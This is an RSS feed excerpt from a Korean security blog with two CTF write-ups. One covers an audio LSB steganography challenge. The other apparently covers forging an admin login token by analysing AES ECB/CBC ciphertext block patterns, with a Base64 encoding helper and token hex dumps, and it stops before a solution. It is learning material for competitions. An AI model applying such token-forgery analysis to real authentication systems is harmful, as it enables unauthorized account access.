      <link>https://reteu.tistory.com/53</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;(대회 기간 내에 풀지는 못했지만, 늦게나마 풀어서 롸업을 작성해본다.)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;304&quot; data-origin-height=&quot;318&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bIoo63/btsrZkSZgAx/j0phTIbsVtod3LaQHrQz4k/img.webp&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bIoo63/btsrZkSZgAx/j0phTIbsVtod3LaQHrQz4k/img.webp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bIoo63/btsrZkSZgAx/j0phTIbsVtod3LaQHrQz4k/img.webp&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbIoo63%2FbtsrZkSZgAx%2Fj0phTIbsVtod3LaQHrQz4k%2Fimg.webp&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;304&quot; height=&quot;318&quot; data-origin-width=&quot;304&quot; data-origin-height=&quot;318&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Audio 기반의 스테가노그래피 문제이다. 보통 이런 경우에는 정형화된 유형이 몇 가지 있는데 크게 세 가지 케이스를 들 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;1.&lt;/b&gt; &lt;b&gt;오디오 스펙트럼을 시각화하면 플래그가 보이거나 &lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(가청 주파수 대역 안에서 플래그를 그렸다면 음원 만으로도 티가 나지만, 아무래도 20000Hz를 넘긴다면 강아지가 아닌 이상 음원만 듣고서는 바로 알아채기 어렵다. )&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;2. LSB에 바이너리를 숨겨두거나&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;3. 음원 자체가 모스부호 (...)나 SSTV 방식의 음원인 경우&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(이 경우에도 다른 음원을 섞을 경우 노이즈를 제거하고 원본 파일을 성공적으로 복원하기 어려워지기 때문에 원본을 숨기지 않고 그대로 출제하는 경우가 많아 티가 많이 난다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Wd7pt/btsr9NFRUx9/7gyejn7i3fS4FaU8TzGRVK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Wd7pt/btsr9NFRUx9/7gyejn7i3fS4FaU8TzGRVK/img.png&quot; data-origin-width=&quot;1077&quot; data-origin-height=&quot;725&quot; data-is-animation=&quot;false&quot; style=&quot;width: 46.8555%; margin-right: 10px;&quot; data-widthpercent=&quot;47.41&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Wd7pt/btsr9NFRUx9/7gyejn7i3fS4FaU8TzGRVK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FWd7pt%2Fbtsr9NFRUx9%2F7gyejn7i3fS4FaU8TzGRVK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1077&quot; height=&quot;725&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ceyj3x/btsr62iPHnI/LJ3BKv7ROGkxgNULczOkqK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ceyj3x/btsr62iPHnI/LJ3BKv7ROGkxgNULczOkqK/img.png&quot; data-origin-width=&quot;1681&quot; data-origin-height=&quot;1020&quot; data-is-animation=&quot;false&quot; style=&quot;width: 51.9817%;&quot; data-widthpercent=&quot;52.59&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ceyj3x/btsr62iPHnI/LJ3BKv7ROGkxgNULczOkqK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fceyj3x%2Fbtsr62iPHnI%2FLJ3BKv7ROGkxgNULczOkqK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1681&quot; height=&quot;1020&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;HxD로 까봤으나, 매직 넘버도 정상적이고, 스펙트럼도 특이한 점이 보이지 않는다.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그렇다면 정말 특이한 문제가 아닌 이상 남은 경우의 수는 2번 뿐인데...&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;874&quot; data-origin-height=&quot;577&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/U89pz/btsr5XWyPPM/yHH7FBLsqR8YomOZ0XL6Mk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/U89pz/btsr5XWyPPM/yHH7FBLsqR8YomOZ0XL6Mk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/U89pz/btsr5XWyPPM/yHH7FBLsqR8YomOZ0XL6Mk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FU89pz%2Fbtsr5XWyPPM%2FyHH7FBLsqR8YomOZ0XL6Mk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;665&quot; height=&quot;439&quot; data-origin-width=&quot;874&quot; data-origin-height=&quot;577&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;직접 코드를 짜지 않고 GPT한테 외주를 맡기고 그동안 다른 문제를 풀고 있었더니 두고두고 후회할 일이 생기고 말았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;LSB에 플래그가 없다는 말만 듣고 주파수 대역별로 쪼개서 살펴보고, 스테레오 채널을 쪼개서 이리저리 뒤집어 보고, 음역대별로 통계를 내보기도 하고 별 짓을 다 했는데 ㅋㅋ....&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;pip3 install stego-lsb 를 통해 패키지를 설치하고, 적절한 크기의 바이트를 지정해주면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;vim에서 xxd로 진입하거나, 헥스 에디터로 오픈해보명 아래와 같이 플래그를 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;736&quot; data-origin-height=&quot;486&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vlWcg/btsr6Y8Bszi/hcoKl5CuMnJZva6IGgPkWK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vlWcg/btsr6Y8Bszi/hcoKl5CuMnJZva6IGgPkWK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vlWcg/btsr6Y8Bszi/hcoKl5CuMnJZva6IGgPkWK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvlWcg%2Fbtsr6Y8Bszi%2FhcoKl5CuMnJZva6IGgPkWK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;736&quot; height=&quot;486&quot; data-origin-width=&quot;736&quot; data-origin-height=&quot;486&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>BoB/write-up</category>
      <author>re.t</author>
      <guid isPermaLink="true">https://reteu.tistory.com/53</guid>
      <comments>https://reteu.tistory.com/53#entry53comment</comments>
      <pubDate>Thu, 24 Aug 2023 16:18:20 +0900</pubDate>
    </item>
    <item>
      <title>[BoB CTF] misc) 02_bob_secret_note</title>
      <link>https://reteu.tistory.com/52</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; AES 128bit를 EBC, CBC 두 개의 운영모드를 사용해서 암호화하고 Base64로 인코딩한 값 (토큰)을 바탕으로 admin에 해당하는 토큰값을 추정하여 로그인해야하는 문제이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; 처음 서버에 접근할 때에는 PoW 챌린지가 주어지는데, 아래와 같이 코드를 작성해서 해결해주면 된다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;558&quot; data-origin-height=&quot;150&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c3nKcH/btsr61j4cOV/bqguoGxHkTANbVKNWLbka1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c3nKcH/btsr61j4cOV/bqguoGxHkTANbVKNWLbka1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c3nKcH/btsr61j4cOV/bqguoGxHkTANbVKNWLbka1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc3nKcH%2Fbtsr61j4cOV%2FbqguoGxHkTANbVKNWLbka1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;558&quot; height=&quot;150&quot; data-origin-width=&quot;558&quot; data-origin-height=&quot;150&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1692864664296&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import json
from base64 import b64encode

def encode_to_base64(data):
    # Convert the json data to string
    json_str = json.dumps(data)
    
    # Encode the string to bytes
    json_bytes = json_str.encode()
    
    # Convert bytes to base64 encoded string
    base64_encoded = b64encode(json_bytes).decode()
    
    return base64_encoded

# Example usage
data_to_encode = {
    &quot;token&quot;: &quot;챌린지로 주어지는 토큰 값을 여기에 입력&quot;,
    &quot;iv&quot;: &quot;13c47f87221fbdfbc12d397de94d2252&quot;
}

encoded_token = encode_to_base64(data_to_encode)
print(encoded_token)&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1484&quot; data-origin-height=&quot;792&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tKHnD/btsr5f4hF22/qZhmGLc0EAzevK1El8tdg1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tKHnD/btsr5f4hF22/qZhmGLc0EAzevK1El8tdg1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tKHnD/btsr5f4hF22/qZhmGLc0EAzevK1El8tdg1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtKHnD%2Fbtsr5f4hF22%2FqZhmGLc0EAzevK1El8tdg1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1484&quot; height=&quot;792&quot; data-origin-width=&quot;1484&quot; data-origin-height=&quot;792&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; 각 토큰은 Base64로 인코딩 되어있는데, 디코딩할 경우 token과 IV (initial vector) 값이 JSON 형식으로 작성되어 있다. 모든 경우에서 IV 값은 동일하고, 토큰 값의 첫 블럭과 맨 마지막 블럭의 값 역시 동일하다. 첫 블럭은 EBC, 그 다음부터는 CBC로 암호화 하는데, 첫 블럭의 값은 항상 일정하므로 사실상 CBC 모드로만 암호화 하는 것과 동일하다. 때문에 admin으로 가입했을 때의 토큰 값을 알아내기 위해서는 admin과 유사한 계정을 여러 개 만들어 패턴을 파악한 다음, 역으로 admin의 토큰 값을 추정해내면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1692866943132&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;51db35eca235fe7a		admin 1
d088939e3f57dadd

38d34e66ef5fcb90
7ab6b09df4c1bbbc

83df7b311ea9107c
974b2fdb22dd66a8

0e200b115cccf7a6
9118bd3c9615ebd1

a2b5728418a4f9e6
197d5b7c389cedd4


=
51db35eca235fe7a		admin1
d088939e3f57dadd

7752fefc87e9d00a
c511dd4f3675f0c9

6036243dffd957d8
21c814018349e7b0

8fec00e97a743a95
8322e29fdbf83b0a

82664a306c0c9319
94bef0a9103b6ca5


=
51db35eca235fe7a		admin 2
d088939e3f57dadd

eff8b24c393246ec
79e8599b50d42e22

b99178d222efd609
f8d68b0225f79a04

78cc7cd733466e0d
5ff887e2dc87ac78

67474203ef854f50
65111c6356afeb37


=
51db35eca235fe7a		admin2
d088939e3f57dadd

acc40b7982584b2f
12415bcc0af73e7c

1aae5f7f31d12f66
117327366b521ee3

e02c26b681d54db5
38c8a6fadfe9bd2e

ab19d6411163a0f4
4280ba9849597370&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;근데 그걸 어떻게 하지..&lt;/p&gt;</description>
      <category>BoB/write-up</category>
      <author>re.t</author>
      <guid isPermaLink="true">https://reteu.tistory.com/52</guid>
      <comments>https://reteu.tistory.com/52#entry52comment</comments>
      <pubDate>Thu, 24 Aug 2023 15:47:52 +0900</pubDate>
    </item>
  </channel>
</rss>